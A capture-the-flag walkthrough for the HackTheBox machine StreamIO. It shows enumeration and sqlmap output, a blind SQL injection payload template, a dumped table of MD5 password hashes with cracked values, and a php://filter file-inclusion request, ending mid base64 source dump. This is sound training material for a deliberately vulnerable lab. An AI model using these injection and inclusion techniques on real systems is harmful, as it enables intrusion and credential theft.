niccolò@home:~$

HackTheBox - StreamIO

Field Details
OS Windows
Difficulty Medium
Release Date 2022-06-04
Pwned Date 2026-07-25
Tags web enumeration ffuf arjun sqlmap blind sqli microsoft sql server hashcat file inclusion php sqlcmd firefox credentials logins.json firepwd hydra ms-Mcs-AdmPwd WriteOwner

Summary

StreamIO is a medium machine where subdomain enumeration leads to an SQL injection in order to retrieve stored user credentials, which are cracked to gain access to an administration panel. The administration panel is vulnerable to LFI, which allows us to retrieve the source code for the administration pages and leads to identifying a remote file inclusion vulnerability, the abuse of which gains us access to the system. After the initial shell we enumerate databases and obtain further credentials used in lateral movement. As the secondary user we enumerate the system and find saved browser databases, which are decoded to expose new credentials. Using the new credentials enumerating AD we discover that the user has the ability to add themselves to a specific group in which they can read the administrator LAPS password via the ms-Mcs-AdmPwd property. Without direct access to the account we use PowerShell to abuse this feature and add ourselves to the Core Staff group, then use this access to disclose the administrator LAPS password.

Reconnaissance

Port scan

Start with port scanning

python ../../sectools/portscan.py --target <TARGET_IP>

This is a custom tool. If you want to run standard commands run

nmap -p- --min-rate 5000 -oN all_tcp_ports.txt <TARGET_IP>
nmap -sC -sV -p 53,80,88,135,139,389,443,445,464,593,636,3268,5985,9389,49667,49677,49678,49709 -oN service_scan.txt <TARGET_IP>

In any case the output should look like this

--- Detected ports ---
port: 53; protocol: tcp; state: open
port: 80; protocol: tcp; state: open
port: 88; protocol: tcp; state: open
port: 135; protocol: tcp; state: open
port: 139; protocol: tcp; state: open
port: 389; protocol: tcp; state: open
port: 443; protocol: tcp; state: open
port: 445; protocol: tcp; state: open
port: 464; protocol: tcp; state: open
port: 593; protocol: tcp; state: open
port: 636; protocol: tcp; state: open
port: 3268; protocol: tcp; state: open
port: 5985; protocol: tcp; state: open
port: 9389; protocol: tcp; state: open
port: 49667; protocol: tcp; state: open
port: 49677; protocol: tcp; state: open
port: 49678; protocol: tcp; state: open
port: 49709; protocol: tcp; state: open

--- Detected services ---
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-07-20 16:57 EDT
Nmap scan report for 10.129.33.150
Host is up (0.028s latency).

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
| http-methods:
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-07-21 03:57:20Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
443/tcp   open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=streamIO/countryName=EU
| Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb
| Not valid before: 2022-02-22T07:03:28
|_Not valid after:  2022-03-24T07:03:28
|_ssl-date: 2026-07-21T03:58:50+00:00; +6h59m56s from scanner time.
|_http-server-header: Microsoft-HTTPAPI/2.0
| tls-alpn:
|_  http/1.1
|_http-title: Not Found
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: streamIO.htb0., Site: Default-First-Site-Name)
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49677/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49678/tcp open  msrpc         Microsoft Windows RPC
49709/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time:
|   date: 2026-07-21T03:58:13
|_  start_date: N/A
|_clock-skew: mean: 6h59m55s, deviation: 0s, median: 6h59m55s
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled and required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 96.89 seconds

HTTP enumeration

Notice the line Subject Alternative Name: DNS:streamIO.htb, DNS:watch.streamIO.htb from port 443 scan and add both domains to your /etc/hosts file

<TARGET_IP> streamIO.htb watch.streamIO.htb

Now you should be able to browse to both https://streamIO.htb and https://watch.streamIO.htb

Run subdirectory enumeration

python ../../sectools/webenum.py -t https://streamio.htb/ --web

This is a custom tool. If you want to run standard commands refer to the ffuf commands in the output below

[*] Target : https://streamio.htb
[*] Mode : web
[*] Size   : web=small api=small vhost=small
[*] Output : ./subdirenum_20260725_094140


############################################################
#                    ENUMERATING: BASE                     #
############################################################

[*] Checking common files...
[*] Extension hint: 'x-powered-by: asp.net'['.asp', '.aspx']
[*] Extension hint: 'set-cookie: phpsessid=g9sv9nm3kselb30f6hr1c0cdnc; path=/'['.php']
[+] Extensions to fuzz: ['.asp', '.aspx', '.php']
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_094140/base/web_dirb_common.csv -of csv -s -e .asp,.aspx,.php
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_094140/base/web_raft_small.csv -of csv -s -e .asp,.aspx,.php

############################################################
#                         SUMMARY                          #
############################################################

[+] 200  https://streamio.htb/
[+] 200  https://streamio.htb/.
[+] 200  https://streamio.htb/about.php
[+] 200  https://streamio.htb/contact.php
[+] 200  https://streamio.htb/favicon.ico
[+] 200  https://streamio.htb/index.php
[+] 200  https://streamio.htb/login.php
[+] 200  https://streamio.htb/register.php
[+] 301  https://streamio.htb/admin
[+] 301  https://streamio.htb/css
[+] 301  https://streamio.htb/fonts
[+] 301  https://streamio.htb/images
[+] 301  https://streamio.htb/js
[+] 302  https://streamio.htb/logout.php

[+] Summary saved to ./subdirenum_20260725_094140/base/summary.txt  (14 unique paths)

The enumeration discovered a https://streamio.htb/admin route.

Unfortunately, it requires authentication and it’s not accessible for now.

Run enumeration against it to check if it has accessible subpages.

python ../../sectools/webenum.py -t https://streamio.htb/admin --web --extensions php

[*] Target : https://streamio.htb/admin
[*] Mode : web
[*] Size   : web=small api=small vhost=small
[*] Output : ./subdirenum_20260725_095335


############################################################
#                    ENUMERATING: BASE                     #
############################################################

[*] Checking common files...
[!] Could not scrape index for extensions: HTTP Error 403: Forbidden
[!] Could not detect extensions: HTTP Error 403: Forbidden
[*] Manual extensions added: {'.php'}
[+] Extensions to fuzz: ['.php']
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/admin/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_095335/base/web_dirb_common.csv -of csv -s -e .php
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/admin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_095335/base/web_raft_small.csv -of csv -s -e .php

############################################################
#                         SUMMARY                          #
############################################################

[+] 200  https://streamio.htb/admin/master.php
[+] 301  https://streamio.htb/admin/css
[+] 301  https://streamio.htb/admin/fonts
[+] 301  https://streamio.htb/admin/images
[+] 301  https://streamio.htb/admin/js
[+] 403  https://streamio.htb/admin/
[+] 403  https://streamio.htb/admin/.
[+] 403  https://streamio.htb/admin/index.php

[+] Summary saved to ./subdirenum_20260725_095335/base/summary.txt  (8 unique paths)

A master.php was discovered, if you browse to it, it shows the following text

Movie managment
Only accessable through includes

This suggests this page is supposed to be included in another page somehow.

Continue enumeration with the watch.streamio.htb subdomain

python ../../sectools/webenum.py -t https://watch.streamio.htb --web --extensions php,asp,aspx

[*] Target : https://watch.streamio.htb
[*] Mode : web
[*] Size   : web=small api=small vhost=small
[*] Output : ./subdirenum_20260725_100400


############################################################
#                    ENUMERATING: BASE                     #
############################################################

[*] Checking common files...
[*] Extension hint: 'x-powered-by: asp.net'['.asp', '.aspx']
[*] Manual extensions added: {'.asp', '.php', '.aspx'}
[+] Extensions to fuzz: ['.asp', '.aspx', '.php']
[*] Running ffuf cmd  →  ffuf -u https://watch.streamio.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_100400/base/web_dirb_common.csv -of csv -s -e .asp,.aspx,.php
[*] Running ffuf cmd  →  ffuf -u https://watch.streamio.htb/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_100400/base/web_raft_small.csv -of csv -s -e .asp,.aspx,.php

############################################################
#                         SUMMARY                          #
############################################################

[+] 200  https://watch.streamio.htb/
[+] 200  https://watch.streamio.htb/.
[+] 200  https://watch.streamio.htb/blocked.php
[+] 200  https://watch.streamio.htb/favicon.ico
[+] 200  https://watch.streamio.htb/index.php
[+] 200  https://watch.streamio.htb/search.php
[+] 301  https://watch.streamio.htb/static

[+] Summary saved to ./subdirenum_20260725_100400/base/summary.txt  (7 unique paths)

Found a search.php page, which provides a search feature for movies.

SQL injection

Upon clicking the ‘Search’ button a POST request with a “q=" data is sent to the server

Test the field for sql injection

sqlmap -u "https://watch.streamio.htb/search.php" \
  --data="q=toy" \
  --method POST \
  --batch \
  --level 3 \
  --risk 2

Notice that ‘toy’ is a successful search query that returns the movie entry for ‘Toy Story 3’.

You should find the following in the output

[snip]
POST parameter 'q' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 183 HTTP(s) requests:
---
Parameter: q (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: q=toy%' AND 8348=8348 AND 'VKVE%'='VKVE
---
[snip]

Db enumeration with boolean-based blind injection

Boolean-based blind injections allow you to know whether a query is true or false based on the received response. You cannot get directly the data from the db but based on the true/false response it’s possible to guess the chars one by one and thus extract the data.

Assume you want to know the db name. What you do is basically this:

  • Is ‘a’ the first char of the db name? If false, keep going
  • Is ‘b’ the first char of the db name? If false, keep going
  • Is ‘c’ the first char of the db name? If false, keep going

and based on the true/false responses you determine if you guessed the correct char. When you get ‘true’ you move to the next char and you keep going until you guess all chars.

This is unfeasible manually (would probably require days) so you can use the following custom tool (or any other you like).

Find db name

python ../../sectools/blind_sql_extractor.py -q "DB_NAME()" -u "https://watch.streamio.htb/search.php" -pt "toy%' AND ASCII(SUBSTRING(({}),{},1))={} AND 'vdVq%'='vdVq" -p q --true-string Toy
DB_NAME(): STREAMIO

The script is very slow but does its job. Run it with the ‘-h’ flag to understand the arguments.

Found a db named STREAMIO, enumerate its tables

python ../../sectools/blind_sql_extractor.py -u "https://watch.streamio.htb/search.php" -pt "toy%' AND ASCII(SUBSTRING(({}),{},1))={} AND 'vdVq%'='vdVq" -p q --true-string Toy --enum-tables
Found table: movies
Found table: users

All tables: ['movies', 'users']

Focus on ‘users’ table, extract its columns

python ../../sectools/blind_sql_extractor.py -u "https://watch.streamio.htb/search.php" -pt "toy%' AND ASCII(SUBSTRING(({}),{},1))={} AND 'vdVq%'='vdVq" -p q --true-string Toy --enum-columns -t users
Found column: id
Found column: username
Found column: password
Found column: is_staff

Columns for table users: ['id', 'username', 'password', 'is_staff']

Knowing the columns you can dump the table.

Warning: the next command will be very slow, like “a couple of hours” slow. Go watch a movie or something.

python ../../sectools/blind_sql_extractor.py -u "https://watch.streamio.htb/search.php" -pt "toy%' AND ASCII(SUBSTRING(({}),{},1))={} AND 'vdVq%'='vdVq" -p q --true-string Toy --dump-table -t users -c id,username,password,is_staff
Found 30 rows in users
Column id: int
Column username: nchar
Column password: nchar
Column is_staff: bit
Row 1: {'id': '3', 'username': 'James', 'password': 'c660060492d9edcaa8332d89c99c9239', 'is_staff': '1'}
Row 2: {'id': '4', 'username': 'Theodore', 'password': '925e5408ecb67aea449373d668b7359e', 'is_staff': '1'}
Row 3: {'id': '5', 'username': 'Samantha', 'password': '083ffae904143c4796e464dac33c1f7d', 'is_staff': '1'}
Row 4: {'id': '6', 'username': 'Lauren', 'password': '08344b85b329d7efd611b7a7743e8a09', 'is_staff': '1'}
Row 5: {'id': '7', 'username': 'William', 'password': 'd62be0dc82071bccc1322d64ec5b6c51', 'is_staff': '1'}
Row 6: {'id': '8', 'username': 'Sabrina', 'password': 'f87d3c0d6c8fd686aacc6627f1f493a5', 'is_staff': '1'}
Row 7: {'id': '9', 'username': 'Robert', 'password': 'f03b910e2bd0313a23fdd7575f34a694', 'is_staff': '1'}
Row 8: {'id': '10', 'username': 'Thane', 'password': '3577c47eb1e12c8ba021611e1280753c', 'is_staff': '1'}
Row 9: {'id': '11', 'username': 'Carmon', 'password': '35394484d89fcfdb3c5e447fe749d213', 'is_staff': '1'}
Row 10: {'id': '12', 'username': 'Barry', 'password': '54c88b2dbd7b1a84012fabc1a4c73415', 'is_staff': '1'}
Row 11: {'id': '13', 'username': 'Oliver', 'password': 'fd78db29173a5cf701bd69027cb9bf6b', 'is_staff': '1'}
Row 12: {'id': '14', 'username': 'Michelle', 'password': 'b83439b16f844bd6ffe35c02fe21b3c0', 'is_staff': '1'}
Row 13: {'id': '15', 'username': 'Gloria', 'password': '0cfaaaafb559f081df2befbe66686de0', 'is_staff': '1'}
Row 14: {'id': '16', 'username': 'Victoria', 'password': 'b22abb47a02b52d5dfa27fb0b534f693', 'is_staff': '1'}
Row 15: {'id': '17', 'username': 'Alexendra', 'password': '1c2b3d8270321140e5153f6637d3ee53', 'is_staff': '1'}
Row 16: {'id': '18', 'username': 'Baxter', 'password': '22ee218331afd081b0dcd8115284bae3', 'is_staff': '1'}
Row 17: {'id': '19', 'username': 'Clara', 'password': 'ef8f3d30a856cf166fb8215aca93e9ff', 'is_staff': '1'}
Row 18: {'id': '20', 'username': 'Barbra', 'password': '3961548825e3e21df5646cafe11c6c76', 'is_staff': '1'}
Row 19: {'id': '21', 'username': 'Lenord', 'password': 'ee0b8a0937abd60c2882eacb2f8dc49f', 'is_staff': '1'}
Row 20: {'id': '22', 'username': 'Austin', 'password': '0049ac57646627b8d7aeaccf8b6a936f', 'is_staff': '1'}
Row 21: {'id': '23', 'username': 'Garfield', 'password': '8097cedd612cc37c29db152b6e9edbd3', 'is_staff': '1'}
Row 22: {'id': '24', 'username': 'Juliette', 'password': '6dcd87740abb64edfa36d170f0d5450d', 'is_staff': '1'}
Row 23: {'id': '25', 'username': 'Victor', 'password': 'bf55e15b119860a6e6b5a164377da719', 'is_staff': '1'}
Row 24: {'id': '26', 'username': 'Lucifer', 'password': '7df45a9e3de3863807c026ba48e55fb3', 'is_staff': '1'}
Row 25: {'id': '27', 'username': 'Bruno', 'password': '2a4e2cf22dd8fcb45adcb91be1e22ae8', 'is_staff': '1'}
Row 26: {'id': '28', 'username': 'Diablo', 'password': 'ec33265e5fc8c2f1b0c137bb7b3632b5', 'is_staff': '1'}
Row 27: {'id': '29', 'username': 'Robin', 'password': 'dc332fb5576e9631c9dae83f194f8e70', 'is_staff': '1'}
Row 28: {'id': '30', 'username': 'Stan', 'password': '384463526d288edcc95fc3701e523bc7', 'is_staff': '1'}
Row 29: {'id': '31', 'username': 'yoshihide', 'password': 'b779ba15cedfd22a023c4d8bcf5f2332', 'is_staff': '1'}
Row 30: {'id': '33', 'username': 'admin', 'password': '665a50ac9eaa781e4f7f04199db97a11', 'is_staff': '0'}

Hash cracking

All the discovered passwords are md5 hashes. Put them in a ‘hashes.txt’ file, one hash per line.

cat hashes.txt
c660060492d9edcaa8332d89c99c9239
925e5408ecb67aea449373d668b7359e
083ffae904143c4796e464dac33c1f7d
08344b85b329d7efd611b7a7743e8a09
d62be0dc82071bccc1322d64ec5b6c51
f87d3c0d6c8fd686aacc6627f1f493a5
f03b910e2bd0313a23fdd7575f34a694
3577c47eb1e12c8ba021611e1280753c
35394484d89fcfdb3c5e447fe749d213
54c88b2dbd7b1a84012fabc1a4c73415
fd78db29173a5cf701bd69027cb9bf6b
b83439b16f844bd6ffe35c02fe21b3c0
0cfaaaafb559f081df2befbe66686de0
b22abb47a02b52d5dfa27fb0b534f693
1c2b3d8270321140e5153f6637d3ee53
22ee218331afd081b0dcd8115284bae3
ef8f3d30a856cf166fb8215aca93e9ff
3961548825e3e21df5646cafe11c6c76
ee0b8a0937abd60c2882eacb2f8dc49f
0049ac57646627b8d7aeaccf8b6a936f
8097cedd612cc37c29db152b6e9edbd3
6dcd87740abb64edfa36d170f0d5450d
bf55e15b119860a6e6b5a164377da719
7df45a9e3de3863807c026ba48e55fb3
2a4e2cf22dd8fcb45adcb91be1e22ae8
ec33265e5fc8c2f1b0c137bb7b3632b5
dc332fb5576e9631c9dae83f194f8e70
384463526d288edcc95fc3701e523bc7
b779ba15cedfd22a023c4d8bcf5f2332
665a50ac9eaa781e4f7f04199db97a11

Run hashcat to attempt cracking.

hashcat -m 0 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt.gz
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 5.0+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i7-10750H CPU @ 2.60GHz, 2915/5894 MB (1024 MB allocatable), 6MCU

[snip]

3577c47eb1e12c8ba021611e1280753c:highschoolmusical
ee0b8a0937abd60c2882eacb2f8dc49f:physics69i
665a50ac9eaa781e4f7f04199db97a11:paddpadd
b779ba15cedfd22a023c4d8bcf5f2332:66boysandgirls..
ef8f3d30a856cf166fb8215aca93e9ff:%$clara
2a4e2cf22dd8fcb45adcb91be1e22ae8:$monique$1991$
54c88b2dbd7b1a84012fabc1a4c73415:$hadoW
6dcd87740abb64edfa36d170f0d5450d:$3xybitch
08344b85b329d7efd611b7a7743e8a09:##123a8j8w5123##
b22abb47a02b52d5dfa27fb0b534f693:!5psycho8!
b83439b16f844bd6ffe35c02fe21b3c0:!?Love?!123
f87d3c0d6c8fd686aacc6627f1f493a5:!!sabrina$

Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 0 (MD5)
Hash.Target......: hashes.txt
Time.Started.....: Thu Jul 23 09:05:29 2026 (5 secs)
Time.Estimated...: Thu Jul 23 09:05:34 2026 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2894.8 kH/s (0.18ms) @ Accel:512 Loops:1 Thr:1 Vec:8
Recovered........: 12/30 (40.00%) Digests (total), 12/30 (40.00%) Digests (new)
Progress.........: 14344385/14344385 (100.00%)
Rejected.........: 0/14344385 (0.00%)
Restore.Point....: 14344385/14344385 (100.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: $HEX[212173657879616e67656c2121] -> $HEX[042a0337c2a156616d6f732103]
Hardware.Mon.#1..: Util: 34%

Started: Thu Jul 23 09:05:25 2026
Stopped: Thu Jul 23 09:05:36 2026

/admin route enumeration

Hashcat managed to discover several passwords.

Use yoshihide’s credentials (66boysandgirls..) to login to the webapp (on the login.php page).

Once logged in you can browse to the previously forbidden /admin route.

The page features four tabs, clicking on each tab shows different content on the page and changes the url in https://streamio.htb/admin/?

Example: clicking on ‘Movie management’ -> https://streamio.htb/admin/?movie

Brute-forcing of that parameter can be attempted to check if there are hidden pages beside the four provided by the tabs.

Re-run enumeration on the /admin route. Make sure to pass your cookie, since the route requires authentication (you can get it in the Network tab of your browser).

Warning: the cookie expires after a while, so you may need to login again if too much time has passed after the last login.

python ../../sectools/webenum.py -t https://streamio.htb/admin --web --extensions php,asp,aspx --headers "Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c" --param-discovery
[*] Target : https://streamio.htb/admin
[*] Mode : web param-discovery
[*] Size   : web=small api=small vhost=small
[*] Output : ./subdirenum_20260725_184037


############################################################
#                    ENUMERATING: BASE                     #
############################################################

[*] Checking common files...
[!] Could not scrape index for extensions: HTTP Error 403: Forbidden
[!] Could not detect extensions: HTTP Error 403: Forbidden
[*] Manual extensions added: {'.php', '.aspx', '.asp'}
[+] Extensions to fuzz: ['.asp', '.aspx', '.php']
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/admin/FUZZ -w /usr/share/wordlists/dirb/common.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_184037/base/web_dirb_common.csv -of csv -s -e .asp,.aspx,.php
[*] Running ffuf cmd  →  ffuf -u https://streamio.htb/admin/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -mc 200,201,204,301,302,307,401,403,405,500 -o ./subdirenum_20260725_184037/base/web_raft_small.csv -of csv -s -e .asp,.aspx,.php
[*] Running arjun cmd  →  arjun -u https://streamio.htb/admin/index.php -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -oT ./subdirenum_20260725_184037/base/params_index.php.txt -c 5 --headers Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c
[*] Running arjun cmd  →  arjun -u https://streamio.htb/admin/master.php -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -oT ./subdirenum_20260725_184037/base/params_master.php.txt -c 5 --headers Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c

############################################################
#                         SUMMARY                          #
############################################################

[+] 200  https://streamio.htb/admin/master.php
[+] 301  https://streamio.htb/admin/css
[+] 301  https://streamio.htb/admin/fonts
[+] 301  https://streamio.htb/admin/images
[+] 301  https://streamio.htb/admin/js
[+] 403  https://streamio.htb/admin/
[+] 403  https://streamio.htb/admin/.
[+] 403  https://streamio.htb/admin/index.php

[+]  Parameters found: user, movie, staff, debug in https://streamio.htb/admin/index.php

[+] Summary saved to ./subdirenum_20260725_184037/base/summary.txt  (8 unique paths)

Notice the “Parameters found:” line. The discovered debug parameter is not tied to any tab.

Browsing to https://streamio.htb/admin/?debug it shows a page with the following text:

this option is for developers only

Remember the master.php page found earlier, with the message ‘only accessible via includes’

If you browse to https://streamio.htb/admin/?debug=master.php passing the file name to the debug parameter you will be able to see the actual page

The master.php page shows the content of all other tabs in a single view.

If you read the source code and scroll until the end you will find this element

<form method="POST">
<input name="include" hidden>
</form>

It would be interesting to see the php source of this element.

That can be achieved with the following command

curl -k "https://streamio.htb/admin/?debug=php://filter/convert.base64-encode/resource=master.php" -H "Cookie: PHPSESSID=99n2gokebga11oarj0cj5esa2c"

This will print the source code of the master.php page encoded in base64

             <div id="inc">
                        this option is for developers only
                        PGgxPk1vdmllIG1hbmFnbWVudDwvaDE+DQo8P3BocA0KaWYoIWRlZmluZWQoJ2luY2x1ZGVkJykpDQoJZGllKCJPbmx5IGFjY2Vzc2FibGUgdGhyb3VnaCBpbmNsdWRlcyIpOw0KaWYoaXNzZXQoJF9QT1NUWydtb3ZpZV9pZCddKSkNCnsNCiRxdWVyeSA9ICJkZWxldGUgZnJvbSBtb3ZpZXMgd2hlcmUgaWQgPSAiLiRfUE9TVFsnbW92aWVfaWQnXTsNCiRyZXMgPSBzcWxzcnZfcXVlcnkoJGhhbmRsZSwgJHF1ZXJ5LCBhcnJheSgpLCBhcnJheSgiU2Nyb2xsYWJsZSI9PiJidWZmZXJlZCIpKTsNCn0NCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIG1vdmllcyBvcmRlciBieSBtb3ZpZSI7DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp3aGlsZSgkcm93ID0gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXMsIFNRTFNSVl9GRVRDSF9BU1NPQykpDQp7DQo/Pg0KDQo8ZGl2Pg0KCTxkaXYgY2xhc3M9ImZvcm0tY29udHJvbCIgc3R5bGU9ImhlaWdodDogM3JlbTsiPg0KCQk8aDQgc3R5bGU9ImZsb2F0OmxlZnQ7Ij48P3BocCBlY2hvICRyb3dbJ21vdmllJ107ID8+PC9oND4NCgkJPGRpdiBzdHlsZT0iZmxvYXQ6cmlnaHQ7cGFkZGluZy1yaWdodDogMjVweDsiPg0KCQkJPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249Ij9tb3ZpZT0iPg0KCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1vdmllX2lkIiB2YWx1ZT0iPD9waHAgZWNobyAkcm93WydpZCddOyA/PiI+DQoJCQkJPGlucHV0IHR5cGU9InN1Ym1pdCIgY2xhc3M9ImJ0biBidG4tc20gYnRuLXByaW1hcnkiIHZhbHVlPSJEZWxldGUiPg0KCQkJPC9mb3JtPg0KCQk8L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2Pg0KPD9waHANCn0gIyB3aGlsZSBlbmQNCj8+DQo8YnI+PGhyPjxicj4NCjxoMT5TdGFmZiBtYW5hZ21lbnQ8L2gxPg0KPD9waHANCmlmKCFkZWZpbmVkKCdpbmNsdWRlZCcpKQ0KCWRpZSgiT25seSBhY2Nlc3NhYmxlIHRocm91Z2ggaW5jbHVkZXMiKTsNCiRxdWVyeSA9ICJzZWxlY3QgKiBmcm9tIHVzZXJzIHdoZXJlIGlzX3N0YWZmID0gMSAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0KaWYoaXNzZXQoJF9QT1NUWydzdGFmZl9pZCddKSkNCnsNCj8+DQo8ZGl2IGNsYXNzPSJhbGVydCBhbGVydC1zdWNjZXNzIj4gTWVzc2FnZSBzZW50IHRvIGFkbWluaXN0cmF0b3I8L2Rpdj4NCjw/cGhwDQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDEiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgkJCTxmb3JtIG1ldGhvZD0iUE9TVCI+DQoJCQkJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ic3RhZmZfaWQiIHZhbHVlPSI8P3BocCBlY2hvICRyb3dbJ2lkJ107ID8+Ij4NCgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1zbSBidG4tcHJpbWFyeSIgdmFsdWU9IkRlbGV0ZSI+DQoJCQk8L2Zvcm0+DQoJCTwvZGl2Pg0KCTwvZGl2Pg0KPC9kaXY+DQo8P3BocA0KfSAjIHdoaWxlIGVuZA0KPz4NCjxicj48aHI+PGJyPg0KPGgxPlVzZXIgbWFuYWdtZW50PC9oMT4NCjw/cGhwDQppZighZGVmaW5lZCgnaW5jbHVkZWQnKSkNCglkaWUoIk9ubHkgYWNjZXNzYWJsZSB0aHJvdWdoIGluY2x1ZGVzIik7DQppZihpc3NldCgkX1BPU1RbJ3VzZXJfaWQnXSkpDQp7DQokcXVlcnkgPSAiZGVsZXRlIGZyb20gdXNlcnMgd2hlcmUgaXNfc3RhZmYgPSAwIGFuZCBpZCA9ICIuJF9QT1NUWyd1c2VyX2lkJ107DQokcmVzID0gc3Fsc3J2X3F1ZXJ5KCRoYW5kbGUsICRxdWVyeSwgYXJyYXkoKSwgYXJyYXkoIlNjcm9sbGFibGUiPT4iYnVmZmVyZWQiKSk7DQp9DQokcXVlcnkgPSAic2VsZWN0ICogZnJvbSB1c2VycyB3aGVyZSBpc19zdGFmZiA9IDAiOw0KJHJlcyA9IHNxbHNydl9xdWVyeSgkaGFuZGxlLCAkcXVlcnksIGFycmF5KCksIGFycmF5KCJTY3JvbGxhYmxlIj0+ImJ1ZmZlcmVkIikpOw0Kd2hpbGUoJHJvdyA9IHNxbHNydl9mZXRjaF9hcnJheSgkcmVzLCBTUUxTUlZfRkVUQ0hfQVNTT0MpKQ0Kew0KPz4NCg0KPGRpdj4NCgk8ZGl2IGNsYXNzPSJmb3JtLWNvbnRyb2wiIHN0eWxlPSJoZWlnaHQ6IDNyZW07Ij4NCgkJPGg0IHN0eWxlPSJmbG9hdDpsZWZ0OyI+PD9waHAgZWNobyAkcm93Wyd1c2VybmFtZSddOyA/PjwvaDQ+DQoJCTxkaXYgc3R5bGU9ImZsb2F0OnJpZ2h0O3BhZGRpbmctcmlnaHQ6IDI1cHg7Ij4NCgk